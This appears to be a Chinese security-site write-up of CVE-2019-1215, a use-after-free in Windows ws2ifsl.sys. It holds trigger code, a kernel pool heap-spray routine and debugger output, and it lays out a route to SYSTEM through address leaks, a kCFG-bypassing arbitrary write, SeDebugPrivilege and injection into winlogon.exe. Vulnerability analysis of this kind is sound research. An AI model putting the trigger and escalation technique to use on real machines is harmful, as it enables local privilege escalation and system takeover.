CVE-2019-1215漏洞成因分析:用后释放漏洞,ws2ifsl.sys中,实现本地提权
摘要:分析用后释放漏洞(CVE-2019-1215)成因,该漏洞存在于ws2ifsl sys中,一旦成功利用,攻击者将有可能实现本地提权。在Windows 10 19H1(1903)x64平台上进行测试。
分析用后释放漏洞(CVE-2019-1215)成因,该漏洞存在于ws2ifsl.sys中,一旦成功利用,攻击者将有可能实现本地提权。在Windows 10 19H1(1903)x64平台上进行测试。
ws2ifsl简介
ws2ifsl组件是与winsocket相关的驱动程序。 该驱动程序可以实现两个对象:
处理对象
socket对象
该驱动程序实现了几个调度程序。 调用NtCreateFile时,文件名将设置为\ Device \ WS2IFSL \,并且将调用DispatchCreate函数。 该函数将基于文件名中的_FILE_FULL_EA_INFORMATION.EaName字符串进行判断。 如果是NifsPvd,则将调用CreateProcessFile;如果是NifsSct,则将调用CreateSocketFile。
CreateSocketFile和CreateProcessFile函数均创建称为“ procData”和“ socketData”的内部对象。 创建后,这些对象将保存在文件对象的_FILE_OBJECT.FsContext中,该文件对象是在dispatch routine中创建的。
可以在用户模式下访问文件对象,这是从NtCreateFile返回的句柄对象。 该句柄可用于执行DeviceIoControl或调用WriteFile。 “ procData”和“ sockedData”对象不直接引用ObfReferenceObject和ObfDereferenceObject,而是引用基础文件对象。 另外,驱动程序实现两个APC对象:“request queue”和“cancel queue”。 APC机制在另一个线程中异步执行函数。 由于可以在另一个线程中实施多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。
“ procData”对象包含这两个APC对象,由CreateProcessFile在initializerqueue和InitializeCancelQueue中进行初始化。 APC对象由KeInitializeApc初始化,并接收目标线程和函数作为参数。 此外,还设置了处理器模式(内核或用户模式)和RundownRoutine。 如果是ws2ifsl,则RundownRoutine为RequestRundownRoutine和CancelRundownRoutine,并且处理器模式设置为用户模式。 这些RundownRoutines用于清理,如果线程在APC内部执行之前有机会死亡,则内核会调用它们。 发生这种情况是因为APC仅在设置为警报状态时才进入线程执行该线程。 例如,如果在调用SleepEx时将第二个参数设置为TRUE,则可以将线程设置为警报状态。
该驱动程序还在DispatchReadWrite中实现了一个读写调度程序,并且只能访问socket对象。 它还可以调用DoSocketReadWrite。 该函数通过调用SignalRequest函数并使用nt将APC元素添加到APC队列中! KeInsertQueueApc函数。
与驱动进行通信
在某些情况下,驱动程序将自动创建一个符号链接,其名称可用作CreateFileA的文件名,但ws2ifsl并非如此。 仅当nt的DeviceName时才能调用它! IoCreateDevice设置为“ DeviceWS2IFSL”。 但是,我们通过调用本地API NtOpenFile,就可以访问派遣函数ws2ifsl!DispatchCreate了。 相关代码如下:
HANDLE
fileHandle = 0;
UNICODE_STRING deviceName;
RtlInitUnicodeString(&deviceName, (
PWSTR
)L
"\\Device\\WS2IFSL"
);
OBJECT_ATTRIBUTES object;
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
IO_STATUS_BLOCK IoStatusBlock ;
NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);
DispatchCreate函数检查调用的扩展属性,该扩展属性只能通过NtCreateFile系统调用进行设置。
对于process对象,扩展属性(ea)数据缓冲区必须包含属于当前流程的线程句柄。 稍后将使用此线程句柄。
补丁分析
首先,我们需要比较ws2ifsl的未修复版本(10.0.18362.1)和修复的版本(10.0.18362.356)。
如下:
CreateProcessFile
DispatchClose
SignalCancel
SignalRequest
RequestRundownRoutine
CancelRundownRoutine
修复后的版本多了一个函数:
DereferenceProcessContext
其中最明显的是,所有修复后函数都包括对新函数DereferenceProcessContext的调用:
将新成员添加到“ procData”对象,并使用引用计数。 例如,在负责所有初始化的CreateProcessFile中,此新成员设置为1。
旧版本:
procData->tag =
'corP'
;
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->field_100 = 0;
新版本:
procData->tag =
'corP'
;
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->dword100 = 0;
procData->referenceCounter = 1i64;
// new
DereferenceProcessContex函数将检查引用计数并调用nt!ExFreePoolWithTag。
新版本的DispatchClose函数将从调用nt!ExFreePoolWithTag更改调用DereferenceProcessContext,也就是说,如果引用计数不为零,则不会释放“ procData”,并且其引用计数将减一。
修复后SignalRequest将在调用nt!KeInsertQueueApc之前增加referenceCounter。
该漏洞存在是因为,即使您请求队列中已经有一个APC,DispatchClose函数仍可以释放“ procData”对象。 每当关闭对文件句柄的最后一个引用时(通过调用CloseHandle),都会调用DispatchClose函数。
新版本使用新的referenceCounter来确保在删除最后一个引用之前不释放缓冲区。 如果它是RundownRoutine(包括引用),请在函数末尾删除DereferenceProcessContext引用,并在调用nt!KeInsertQueueApc之前将引用计数加1。 如果发生错误,该引用也将被删除(以避免内存泄漏)。
漏洞触发
要触发此漏洞,我们首先创建一个“ procData”句柄和一个“ socketData”句柄,然后将恶意数据写入“ socketData”并关闭两个句柄。 接下来,线程将终止对APC RundownRoutine的调用并处理释放的数据。
漏洞触发代码:
<..>
in CreateProcessHandle:
g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);
eaData->a1 = (
void
*)g_hThread1;
// thread must be in current process
eaData->a2 = (
void
*)0x2222222;
// fake APC Routine
eaData->a3 = (
void
*)0x3333333;
// fake cancel Rundown Routine
eaData->a4 = (
void
*)0x4444444;
eaData->a5 = (
void
*)0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer,
sizeof
(FILE_FULL_EA_INFORMATION) +
sizeof
(
"NifsPvd"
) +
sizeof
(PROC_DATA));
DWORD
supSuc = SuspendThread(g_hThread1);
<..>
in main:
HANDLE
procHandle = CreateProcessHandle();
HANDLE
sockHandle = CreateSocketHandle(procHandle);
char
* writeBuffer = (
char
*)
malloc
(0x100);
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG
key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);
在DispatchClose版本中设置一个断点,我们将看到:
Breakpoint 2 hit
ws2ifsl!DispatchClose+0x7d:
fffff806`1b8e71cd e8ceeef3fb call nt!ExFreePool (fffff806`178260a0)
1: kd> db rcx
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
1: kd> g
Breakpoint 0 hit
ws2ifsl!RequestRundownRoutine:
fffff806`1b8e12d0 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> db rcx-30
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
因为procData对象已被释放,所以RundownRoutine将处理释放的数据。 通常,由于没有重新分配数据块,因此此时不会发生崩溃。
接下来,让我们看看如何利用此漏洞。
首先,我们需要知道缓冲区和分配池的大小。
在要释放的缓冲区上使用pool命令,我们可以看到它在大小为0×120字节的Nonpaged pool分配。
1: kd> !pool ffff8b08905e9910
Pool page ffff8b08905e9910 region is Nonpaged pool
<..>
*ffff8b08905e9900 size: 120 previous size: 0 (Allocated) *Ws2P Process: ffff8b08a32e3080
Owning component : Unknown (update pooltag.txt)
查看ws2ifsl!CreateProcessFile中分配的缓冲区,我们可以看到:
PAGE:00000001C00079ED mov edx, 108h ; size
PAGE:00000001C00079F2 mov ecx, 200h ; PoolType
PAGE:00000001C00079F7 mov r8d, 'P2sW' ; Tag
PAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag
以下代码可用于为多个0x120字节缓冲区分配用户控制的数据:
int
doHeapSpray()
{
for
(
size_t
i = 0; i < 0x5000; i++)
{
HANDLE
readPipe;
HANDLE
writePipe;
DWORD
resultLength;
UCHAR
payload[0x120 - 0x48];
RtlFillMemory(payload, 0x120 - 0x48, 0x24);
BOOL
res = CreatePipe(&readPipe, &writePipe, NULL,
sizeof
(payload));
res = WriteFile(writePipe, payload,
sizeof
(payload), &resultLength, NULL);
}
return
0;
}
如果我们将此堆喷射注入合并到漏洞触发代码中,则可以在nt!KiInsertQueueApc中触发漏洞检查,并且程序崩溃是由“liked list”操作引起的。
.text:00000001400A58F6 mov rax, [rdx]
.text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx
.text:00000001400A58FD jnz fail_fast
<..>
.text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j
.text:00000001401DC2EA ; KiInsertQueueApc+95↑j ...
.text:00000001401DC2EA mov ecx, 3
.text:00000001401DC2EF
int
29h ; Win8: RtlFailFast(ecx)
在命令int 29上执行错误检查。当检查发生崩溃的寄存器时,我们可以看到RAX寄存器指向我们控制的数据。
rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003
rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599
r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
0: kd> dq ffff8b08905e82d0
ffff8b08`905e82d0 24242424`24242424 24242424`24242424
ffff8b08`905e82e0 24242424`24242424 24242424`24242424
ffff8b08`905e82f0 24242424`24242424 24242424`24242424
ffff8b08`905e8300 24242424`24242424 24242424`24242424
ffff8b08`905e8310 24242424`24242424 24242424`24242424
ffff8b08`905e8320 24242424`24242424 24242424`24242424
ffff8b08`905e8330 24242424`24242424 24242424`24242424
ffff8b08`905e8340 24242424`24242424 24242424`24242424
导致崩溃的调用栈如下:
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus
01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12
02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952
03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107
04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69
05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0
06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325
07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87
08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f
09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8
0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2
0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48
0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a
0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn
0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart
在上面的代码中,错误检测是由主线程的突然终止触发的。 发生这种情况是因为我们销毁的APC仍在队列中,并且断开连接操作可以处理损坏的数据。 由于前向指针和后向指针已损坏,并且未指向有效的链接列表,因此将触发安全断开连接检查。
KeRundownApcQueues
我们需要将已发布的APC元素转换为有效内容。 触发错误并重写旧的“ prodata”后,我们需要退出APC队列的线程。 此时,内核将调用nt! KeRundownApcQueues函数并检查nt! KiFlushQueueApc!。
此时,我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针使用指向“ kthread”的值进行检查。 如果我们以中等完整性级别运行,则使用SystemHandleInformation调用NtQuerySystemInformation可能会泄漏“ kthread”地址。 如果我们使用“ kthread”地址来创建回收的“ procData”和nt! KeRundownApcQueues尝试在“ procData”对象中执行用户控制的函数指针,因此可以避免触发错误检查。
旁路kCFG
在控制了要执行的函数的指针之后,有一个小的障碍需要克服。 在中等完整性级别,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。 因此,我们现在至少知道执行可以移到哪里。
但是,APC函数指针调用由Microsoft实现的CFI内核控制流控制。 如果我们调用随机ROP gadge,则内核将引发错误检查。
幸运的是,从CFG角度来看,函数序言是有效的分支目标,因此我们知道无需停止就可以调用什么。 调用nt! KeRundownApcQueues函数指针,第一个参数(rcx)指向“ procData”缓冲区,第二个参数(rdx)为零。
我们可以使用的另一种可能性是通过调用本机函数NtTestAlert来调用APC函数指针。
使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向“ procData”缓冲区,第二个参数(rdx)也指向它。
在查找了一些小的功能并根据给定的约束执行操作后,我们找到了一个合适的对象:nt! SeSetAccessStateGenericMapping。
如下图所示,nt! SeSetAccessStateGenericMapping可用于执行任意16字节写入:
但是,这16个字节的后半部分没有完全控制,但是前8个字节是基于堆喷射提供的数据。
在Windows的旧版本中,有许多技术可以将任意写入操作转换为完整的内核读取和写入原语。 最简单的方法是在启用所有位的情况下覆盖此结构的Present和Enabled成员。 这将使我们获得SeDebugPrivilege特权,使我们能够将代码注入到具有高度特权的进程中,例如“ winlogon.exe”。
获取系统权限
一旦将代码注入到系统进程中,就可以运行“ cmd.exe”并获得一个交互式外壳。 同时,我们避免了许多问题,例如kCFG和SMEP,因为我们没有在错误的上下文中执行ROP或执行任何ring0代码。
相关热词搜索:CVE-2019-1215 漏洞成因分析 用后释放漏洞 ws2ifsl sys 本地提权 重庆网络安全
上一篇:Sudo漏洞(CVE-2019-18634):在某些配置下,它可能允许低特权用户或恶意程序在Linux或macOS系统上以root用户身份执行命令。
下一篇:Apereo CAS 4.X反序列化漏洞:存在于登录的execution参数,漏洞分析及复现
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了